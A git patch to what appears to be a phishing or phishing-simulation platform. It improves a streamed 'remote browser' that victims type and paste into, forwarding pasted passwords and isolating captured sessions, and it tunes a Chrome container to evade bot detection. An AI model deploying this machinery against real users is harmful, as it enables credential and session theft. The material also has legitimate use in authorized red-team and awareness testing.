From a2b50f8442e2ebbe608ae534bb56c6c36e196c4c Mon Sep 17 00:00:00 2001 From: RonniSkansing Date: Fri, 24 Jul 2026 21:34:58 +0200 Subject: [PATCH] fix remote browser improved remote support Signed-off-by: RonniSkansing --- backend/Dockerfile | 12 ++ backend/controller/remoteBrowser.go | 43 +++++ backend/embedded/remotebrowser_inject.js | 37 ++++ backend/remotebrowser/runner.go | 177 ++++++++++++++++-- docker/chrome/Dockerfile | 57 ++++++ docker/chrome/start.sh | 71 +++++++ .../remote-browser/RemoteBrowserEditor.svelte | 2 +- 7 files changed, 384 insertions(+), 15 deletions(-) create mode 100644 docker/chrome/Dockerfile create mode 100644 docker/chrome/start.sh diff --git a/backend/Dockerfile b/backend/Dockerfile index 4d5eaa4..563ce3d 100644 --- a/backend/Dockerfile +++ b/backend/Dockerfile @@ -34,6 +34,18 @@ RUN apt-get update && apt-get install -y --no-install-recommends \ libxext6 \ && rm -rf /var/lib/apt/lists/* +# headful chrome support. xvfb provides the display, one per browser session so +# sessions cannot read each other through X, and chrome draws its window with gtk +# and uses the screensaver, xtest and input extensions +RUN apt-get update && apt-get install -y --no-install-recommends \ + xvfb \ + libgtk-3-0 \ + libxss1 \ + libxtst6 \ + libxi6 \ + libxcursor1 \ + && rm -rf /var/lib/apt/lists/* + # install deps #RUN go install github.com/cosmtrek/air@latest \ #RUN go install github.com/go-delve/delve/cmd/dlv@1.9.1 diff --git a/backend/controller/remoteBrowser.go b/backend/controller/remoteBrowser.go index 3522349..2bdb7ec 100644 --- a/backend/controller/remoteBrowser.go +++ b/backend/controller/remoteBrowser.go @@ -17,6 +17,7 @@ import ( "sync" "sync/atomic" "time" + "unicode/utf8" "github.com/gin-gonic/gin" "github.com/go-rod/rod" @@ -702,6 +703,15 @@ func (m *RemoteBrowserController) ServeVictim(g *gin.Context) { streamMouseMoveLast := map[string]time.Time{} const streamMouseMoveMinInterval = 16 * time.Millisecond + // Paste is the only recipient input carrying a payload, and it is the only + // one whose cost in the browser scales with its size. In remote mode one + // browser serves every session, so an unbounded paste loop from a single + // recipient would degrade all of them. Bound both size and rate: an address + // or a password never comes close to the cap. + var streamPasteLast time.Time + const streamPasteMaxLen = 4096 + const streamPasteMinInterval = 200 * time.Millisecond + for { _, msg, err := conn.ReadMessage() if err != nil { @@ -733,6 +743,7 @@ func (m *RemoteBrowserController) ServeVictim(g *gin.Context) { KeyCode int64 `json:"keyCode"` Modifiers int64 `json:"modifiers"` CharText string `json:"charText"` + Text string `json:"text"` Width float64 `json:"width"` Height float64 `json:"height"` Dpr float64 `json:"dpr"` @@ -765,6 +776,33 @@ func (m *RemoteBrowserController) ServeVictim(g *gin.Context) { } if val, exists := activeNamedStreams.Load(cmd.Name); exists { si := val.(*streamInfo) + // Paste carries text, not a position, so it must not go through + // the coordinate mapping below, which drops the event whenever the + // stream box is not measured yet. + if cmd.Action == "paste" { + now := time.Now() + if cmd.Text == "" || now.Sub(streamPasteLast) < streamPasteMinInterval { + continue + } + streamPasteLast = now + text := cmd.Text + if len(text) > streamPasteMaxLen { + // Cut back to a rune boundary so a multi byte character + // split by the cap does not reach Chrome as broken UTF-8. + text = text[:streamPasteMaxLen] + for len(text) > 0 && !utf8.ValidString(text) { + text = text[:len(text)-1] + } + } + if page := sess.getBrowserPage(); page != nil { + payload, _ := json.Marshal(map[string]interface{}{ + "type": "paste", + "text": text, + }) + m.dispatchInput(page, payload) + } + continue + } // cmd.X/Y are in cropped-canvas JPEG pixels; map back to CDP CSS coords. cdpX, cdpY, ok := si.getInputCoords(cmd.X, cmd.Y) if ok { @@ -1299,6 +1337,11 @@ func (m *RemoteBrowserController) StreamLiveSession(g *gin.Context) { if err != nil { return false } + // Focus emulation is set per target, so a popup starts without it and + // falls back to the real window focus. Only one window can hold that, + // which would leave a background popup reporting itself unfocused and + // stop it rendering. + proto.EmulationSetFocusEmulationEnabled{Enabled: true}.Call(newPage) //nolint:errcheck tabsMu.Lock() tabs[info.TargetID] = &tabEntry{page: newPage, url: info.URL} tabsMu.Unlock() diff --git a/backend/embedded/remotebrowser_inject.js b/backend/embedded/remotebrowser_inject.js index a79c0ad..74acffb 100644 --- a/backend/embedded/remotebrowser_inject.js +++ b/backend/embedded/remotebrowser_inject.js @@ -191,9 +191,28 @@ }, { passive: false }); } + // isPasteCombo reports the paste shortcut. Its default action must run so the + // browser fires a paste event, and the key itself must not be forwarded: the + // remote browser would paste from its own clipboard, which lives on the + // server and holds nothing the person in front of this page copied. + // Shift+Insert pastes on Linux and Windows just like Ctrl+V. + function isPasteCombo(e) { + if ((e.ctrlKey || e.metaKey) && !e.altKey && (e.key === 'v' || e.key === 'V')) return true; + return e.shiftKey && !e.ctrlKey && !e.metaKey && e.key === 'Insert'; + } + + // Releasing the modifier before the letter leaves a keyup whose modifier + // flags no longer say paste. Forwarding it would send the remote page a + // keyup with no matching keydown, so remember which keys were held back. + var suppressedKeys = {}; + // Arrow keys: always preventDefault (prevent page scroll when canvas is focused), // but only forwarded to the remote browser when { arrowKeys: true }. canvas.addEventListener('keydown', function (e) { + if (isPasteCombo(e)) { + suppressedKeys[e.code || e.key] = true; + return; + } var isArrow = !!ARROW_KEYS[e.key]; e.preventDefault(); if (isArrow && !allowArrows) return; @@ -204,6 +223,11 @@ }); canvas.addEventListener('keyup', function (e) { + var held = e.code || e.key; + if (isPasteCombo(e) || suppressedKeys[held]) { + delete suppressedKeys[held]; + return; + } var isArrow = !!ARROW_KEYS[e.key]; e.preventDefault(); if (isArrow && !allowArrows) return; @@ -212,6 +236,19 @@ modifiers: (e.altKey ? 1 : 0) | (e.ctrlKey ? 2 : 0) | (e.metaKey ? 4 : 0) | (e.shiftKey ? 8 : 0) }); }); + // Paste carries its text on the event itself, so filling a form from a + // password manager or from a copied address works without asking for + // clipboard permission, which would put a browser prompt in front of the + // page. Only what is pasted into this canvas is read, never the clipboard + // on its own. The server turns it into Input.insertText on the remote page. + canvas.addEventListener('paste', function (e) { + e.preventDefault(); + var data = e.clipboardData || window.clipboardData; + var text = data ? data.getData('text') : ''; + if (!text) return; + snd({ type: 'stream_input', name: name, action: 'paste', text: text }); + }); + canvas.addEventListener('contextmenu', function (e) { e.preventDefault(); }); } }; diff --git a/backend/remotebrowser/runner.go b/backend/remotebrowser/runner.go index 959848e..a3c831e 100644 --- a/backend/remotebrowser/runner.go +++ b/backend/remotebrowser/runner.go @@ -13,7 +13,9 @@ import ( "path/filepath" "regexp" "strings" + "sync" "sync/atomic" + "syscall" "time" "go.uber.org/zap" @@ -210,6 +212,94 @@ func resolveBrowserRootDir() (string, error) { return filepath.Join(filepath.Dir(execPath), "data", "browser"), nil } +// xvfbScreen is the geometry of a session's private display. The recipient's real +// viewport and screen metrics are applied over CDP after the page opens, so this +// only has to be large enough to hold the browser window. +const xvfbScreen = "1920x1080x24" + +// x11SocketDir is where X servers place their per display sockets. Xvfb does not +// create it, so a bare container image where nothing else has made it would leave +// the server unable to open a socket. Creating it here keeps headful working +// without adding a step to every Dockerfile. +const x11SocketDir = "/tmp/.X11-unix" + +// startPrivateDisplay launches an Xvfb dedicated to a single browser session and +// returns its display name together with a stop function. +// +// Sessions get a display each instead of sharing one for two reasons. A dedicated +// display means the browser window is the only window on it, so no two sessions +// can compete for the foreground, which is what previously froze every session but +// the most recent one. It also stops the accidental crossover a shared display +// allows, where any client can read the windows and input of every other client +// on it. This is not a boundary against a hostile escaped renderer: every browser +// runs as the same user, so such code could reach a sibling display regardless. +// That case is the already accepted remote browser RCE risk; guarding it would +// need separate users or namespaces, not an X cookie, which the same user can read. +// +// Xvfb chooses the display number itself and reports it back on the descriptor +// passed with -displayfd, so concurrent sessions never race for the same number. +func startPrivateDisplay() (string, func(), error) { + // Best effort: usually already present. If creating it was actually needed + // and failed, the read below surfaces the concrete failure. + _ = os.MkdirAll(x11SocketDir, 0o777) + + pr, pw, err := os.Pipe() + if err != nil { + return "", nil, err + } + cmd := exec.Command("Xvfb", "-displayfd", "3", "-screen", "0", xvfbScreen, "-nolisten", "tcp", "-noreset") + cmd.ExtraFiles = []*os.File{pw} // the child sees this as descriptor 3 + if err := cmd.Start(); err != nil { + pr.Close() //nolint:errcheck + pw.Close() //nolint:errcheck + return "", nil, fmt.Errorf("xvfb start failed: %w", err) + } + // Xvfb owns the write end now. Dropping ours means a read returns instead of + // blocking if the server dies before reporting a display. + pw.Close() //nolint:errcheck + + exited := make(chan error, 1) + go func() { exited <- cmd.Wait() }() + + var stopOnce sync.Once + stop := func() { + stopOnce.Do(func() { + if cmd.Process != nil { + // SIGTERM first so Xvfb removes its own lock file and socket; + // SIGKILL would strand both and slowly litter /tmp. + cmd.Process.Signal(syscall.SIGTERM) //nolint:errcheck + select { + case <-exited: + case <-time.After(3 * time.Second): + cmd.Process.Kill() //nolint:errcheck + <-exited + } + } + pr.Close() //nolint:errcheck + }) + } + + pr.SetReadDeadline(time.Now().Add(10 * time.Second)) //nolint:errcheck + var out []byte + chunk := make([]byte, 16) + for !bytes.ContainsRune(out, '\n') && len(out) < 32 { + n, readErr := pr.Read(chunk) + if n > 0 { + out = append(out, chunk[:n]...) + } + if readErr != nil { + stop() + return "", nil, fmt.Errorf("xvfb did not report a display: %w", readErr) + } + } + num := strings.TrimSpace(string(out)) + if num == "" { + stop() + return "", nil, errors.New("xvfb reported an empty display") + } + return ":" + num, stop, nil +} + // chromeSterrWriter is an io.Writer that fans Chrome stdout/stderr lines out to // the session emitter (when emitter != nil) and/or the app logger (when logger != nil). type chromeSterrWriter struct { @@ -664,6 +754,33 @@ func (r *Runner) Run(ctx context.Context) error { emitter.errorf(fmt.Sprintf("browser connect failed: %v", connectErr)) return goja.Undefined() } + // Every session runs in its own browser context. All sessions share one + // remote browser, so on the default context they would also share one + // cookie jar, one localStorage and one cache: a session captured for one + // recipient would be readable from the page of any other recipient + // running at the same time. A browser context keeps that storage separate + // and discards all of it when the context is disposed. + // + // DisposeOnDetach makes the browser drop the context when this control + // connection goes away, which covers the paths where the session ends + // without running its own cleanup: victim disconnect, script timeout, + // operator cancel, and a server crash. + ctxRes, ctxErr := (proto.TargetCreateBrowserContext{DisposeOnDetach: true}).Call(browser) + if ctxErr != nil { + // Do not close the browser here. It is shared with every other + // session and closing it would end all of them. + emitter.errorf(fmt.Sprintf("browser context create failed: %v", ctxErr)) + return goja.Undefined() + } + // Rebind to the new context. rod carries BrowserContextID into every + // target it creates, and its Close disposes the context instead of the + // whole browser once the field is set, so from here on the shared remote + // browser is never closed by this session. + isolated := *browser + isolated.BrowserContextID = ctxRes.BrowserContextID + browser = &isolated + emitter.log(fmt.Sprintf("[session] isolated browser context %s", ctxRes.BrowserContextID)) + var pageErr error page, pageErr = browser.Page(proto.TargetCreateTarget{URL: "about:blank"}) if pageErr != nil { @@ -699,6 +816,34 @@ func (r *Runner) Run(ctx context.Context) error { } chromeLogger = cw } + chromeVars := []string{ + "XDG_CONFIG_HOME=" + filepath.Join(rootDir, "config"), + "XDG_CACHE_HOME=" + filepath.Join(rootDir, "cache"), + } + // Headful needs a display, and it has to be one this session alone owns. + if !opts.Headless { + display, stopDisplay, dispErr := startPrivateDisplay() + switch { + case dispErr == nil: + emitter.log(fmt.Sprintf("[session] private display %s", display)) + go func() { + <-outerCtx.Done() + stopDisplay() + }() + // Appended last so it beats any DISPLAY inherited from the + // server process: the last value wins once the environment is + // deduplicated on the way to the browser. + chromeVars = append(chromeVars, "DISPLAY="+display) + case os.Getenv("DISPLAY") != "": + // A desktop session already has a display. Use it rather than + // failing, and say so, because it is shared with everything + // else drawing on that desktop. + emitter.log(fmt.Sprintf("[session] warning: no private display (%v), falling back to the shared %s", dispErr, os.Getenv("DISPLAY"))) + default: + emitter.errorf(fmt.Sprintf("headful browser needs a display: %v", dispErr)) + return goja.Undefined() + } + } l := launcher.New(). Headless(opts.Headless). Logger(chromeLogger). @@ -706,10 +851,7 @@ func (r *Runner) Run(ctx context.Context) error { Set("crash-dumps-dir", crashDir). Set("disable-blink-features", "AutomationControlled"). Delete("enable-automation"). - Env(chromeEnv( - "XDG_CONFIG_HOME="+filepath.Join(rootDir, "config"), - "XDG_CACHE_HOME="+filepath.Join(rootDir, "cache"), - )...) + Env(chromeEnv(chromeVars...)...) var binPath string if r.ExecPath != "" { @@ -834,6 +976,18 @@ func (r *Runner) Run(ctx context.Context) error { applyRemoteIdentity(page, opts.UserAgent, emitter) } + // Headful Chrome ties a page's focus and render pipeline to the state of its + // operating system window, and one browser or one display can only ever have + // a single foreground window. Concurrent sessions would then fight over it: + // whichever page was raised last keeps rendering while the rest are treated + // as background, stop producing screencast frames, and report + // document.hasFocus() false. Focus emulation detaches the page from that + // window state, so every session renders and reads as focused at the same + // time. It also removes the unfocused window tell in headful mode. + if err := (proto.EmulationSetFocusEmulationEnabled{Enabled: true}).Call(page); err != nil { + emitter.log(fmt.Sprintf("[session] warning: focus emulation failed: %v", err)) + } + // Timezone override keeps the navigator/Intl timezone aligned with the exit // network's geolocation. Left to the operator because only they know the // proxy/exit location; an unset value keeps the host timezone. @@ -887,11 +1041,10 @@ func (r *Runner) Run(ctx context.Context) error { session.Set("close", func(call goja.FunctionCall) goja.Value { emitter.log("[session] closing") - if opts.Remote != "" { - page.Close() //nolint:errcheck - } else { - browser.Close() //nolint:errcheck - } + // Both branches call Close on the browser handle, and in remote mode + // that handle is bound to this session's browser context, so it + // disposes the context and its storage rather than the shared browser. + browser.Close() //nolint:errcheck return goja.Undefined() }) @@ -974,11 +1127,7 @@ func (r *Runner) Run(ctx context.Context) error { return goja.Undefined() case <-idleCh: emitter.log(fmt.Sprintf("[session] idle timeout (%dms), closing", opts.IdleTimeout)) - if opts.Remote != "" { - page.Close() //nolint:errcheck - } else { - browser.Close() //nolint:errcheck - } + browser.Close() //nolint:errcheck return goja.Undefined() case msg := <-r.Incoming: resetIdle() diff --git a/docker/chrome/Dockerfile b/docker/chrome/Dockerfile new file mode 100644 index 0000000..cf60a99 --- /dev/null +++ b/docker/chrome/Dockerfile @@ -0,0 +1,57 @@ +# development docker file +# real Google Chrome running headful on a virtual X display, used by the +# remote browser feature over the DevTools protocol +FROM debian:bookworm-slim@sha256:7b140f374b289a7c2befc338f42ebe6441b7ea838a042bbd5acbfca6ec875818 + +# chrome is pinned by version and checksum. to upgrade read the current values from +# https://dl.google.com/linux/chrome/deb/dists/stable/main/binary-amd64/Packages +ARG CHROME_VERSION=150.0.7871.186-1 +ARG CHROME_SHA256=4193e00b6d5d5969ee63f7a69596868f546aa0e8cb077b3e0bf9cc1e2c719d00 + +# xvfb provides the display, openbox gives chrome a focused window, x11vnc plus +# novnc make the display watchable from a browser, socat republishes the loopback +# only devtools port on the container network +RUN apt-get update && apt-get install -y --no-install-recommends \ + ca-certificates \ + curl \ + xvfb \ + openbox \ + x11vnc \ + novnc \ + websockify \ + socat \ + tini \ + fonts-liberation \ + fonts-noto-color-emoji \ + && rm -rf /var/lib/apt/lists/* + +RUN curl -fsSL -o /tmp/chrome.deb \ + "https://dl.google.com/linux/chrome/deb/pool/main/g/google-chrome-stable/google-chrome-stable_${CHROME_VERSION}_amd64.deb" \ + && echo "${CHROME_SHA256} /tmp/chrome.deb" | sha256sum -c - \ + && apt-get update \ + && apt-get install -y --no-install-recommends /tmp/chrome.deb \ + && rm -f /tmp/chrome.deb \ + && rm -rf /var/lib/apt/lists/* + +# google ships a daily apt cron and a repo entry with the package. neither is +# wanted here because the version is pinned above +RUN rm -f /etc/cron.daily/google-chrome /etc/apt/sources.list.d/google-chrome.list + +RUN groupadd -g 1000 chrome && \ + useradd -u 1000 -g chrome -m -d /home/chrome chrome + +# an empty named volume inherits the permissions of the image directory it is +# mounted over, so the socket dir must be world writable before the volume exists +RUN mkdir -p /tmp/.X11-unix && chmod 1777 /tmp/.X11-unix + +COPY start.sh /usr/local/bin/start.sh +RUN chmod +x /usr/local/bin/start.sh + +USER chrome +WORKDIR /home/chrome + +EXPOSE 8109 9222 + +# -g forwards signals to the whole process group so xvfb, openbox and the vnc +# stack stop with chrome instead of lingering +ENTRYPOINT ["/usr/bin/tini", "-g", "--", "/usr/local/bin/start.sh"] diff --git a/docker/chrome/start.sh b/docker/chrome/start.sh new file mode 100644 index 0000000..6d3dc05 --- /dev/null +++ b/docker/chrome/start.sh @@ -0,0 +1,71 @@ +#!/bin/sh +# starts the virtual display, a window manager, the vnc viewer stack and chrome. +# every background process is killed when this script exits so the container +# stops cleanly instead of leaving a half dead display behind. +set -eu + +DISPLAY_NUM="${DISPLAY_NUM:-99}" +SCREEN="${SCREEN:-1920x1080x24}" +DEVTOOLS_PORT="${DEVTOOLS_PORT:-9222}" +NOVNC_PORT="${NOVNC_PORT:-8109}" + +# chrome binds devtools to loopback only, so it listens on a private port and +# socat republishes it on the container network below +CHROME_DEVTOOLS_PORT=9223 +VNC_PORT=5900 + +WIDTH="${SCREEN%%x*}" +HEIGHT_DEPTH="${SCREEN#*x}" +HEIGHT="${HEIGHT_DEPTH%%x*}" + +export DISPLAY=":${DISPLAY_NUM}" + +cleanup() { + trap - EXIT INT TERM + kill 0 2>/dev/null || true +} +trap cleanup EXIT INT TERM + +# the X socket is created inside a shared volume so other containers can render +# on this display too. access control is off because the socket is only reachable +# through that volume, never over the network +Xvfb "$DISPLAY" -screen 0 "$SCREEN" -ac -noreset \ + +extension RANDR +extension GLX +render & + +for _ in $(seq 1 100); do + [ -S "/tmp/.X11-unix/X${DISPLAY_NUM}" ] && break + sleep 0.1 +done +if [ ! -S "/tmp/.X11-unix/X${DISPLAY_NUM}" ]; then + echo "xvfb failed to create a display socket" >&2 + exit 1 +fi + +# without a window manager the chrome window never takes X focus, which leaves +# document.hasFocus() false for every page and is a strong bot signal +openbox & + +x11vnc -display "$DISPLAY" -rfbport "$VNC_PORT" -localhost -forever -shared -nopw -quiet & +websockify --web=/usr/share/novnc "$NOVNC_PORT" "127.0.0.1:${VNC_PORT}" & + +# devtools refuses requests whose Host header is neither localhost nor an IP, +# so connect to this container by IP rather than by service name +socat "TCP-LISTEN:${DEVTOOLS_PORT},fork,reuseaddr" "TCP:127.0.0.1:${CHROME_DEVTOOLS_PORT}" & + +# launching chrome by hand rather than through an automation library keeps the +# enable-automation switch off, so navigator.webdriver stays false +exec google-chrome-stable \ + --remote-debugging-address=127.0.0.1 \ + --remote-debugging-port="${CHROME_DEVTOOLS_PORT}" \ + --user-data-dir=/home/chrome/profile \ + --window-position=0,0 \ + --window-size="${WIDTH},${HEIGHT}" \ + --no-first-run \ + --no-default-browser-check \ + --disable-blink-features=AutomationControlled \ + --password-store=basic \ + --use-mock-keychain \ + ${CHROME_LANG:+--lang=${CHROME_LANG}} \ + ${CHROME_PROXY:+--proxy-server=${CHROME_PROXY}} \ + ${CHROME_EXTRA_FLAGS:-} \ + about:blank diff --git a/frontend/src/lib/components/remote-browser/RemoteBrowserEditor.svelte b/frontend/src/lib/components/remote-browser/RemoteBrowserEditor.svelte index 969e0b9..55ef4f6 100644 --- a/frontend/src/lib/components/remote-browser/RemoteBrowserEditor.svelte +++ b/frontend/src/lib/components/remote-browser/RemoteBrowserEditor.svelte @@ -1112,7 +1112,7 @@ declare var Infinity: number; {#if cfgMode === 'local'} Spawns an isolated Chrome process per session. {:else} - Connect to a Chrome you launched yourself — real OS fingerprint, GPU, profile, and extensions. Best for bypassing bot detection. + Connect to a Chrome you launched yourself - real OS fingerprint, GPU, profile, and extensions. Best for bypassing bot detection. {/if}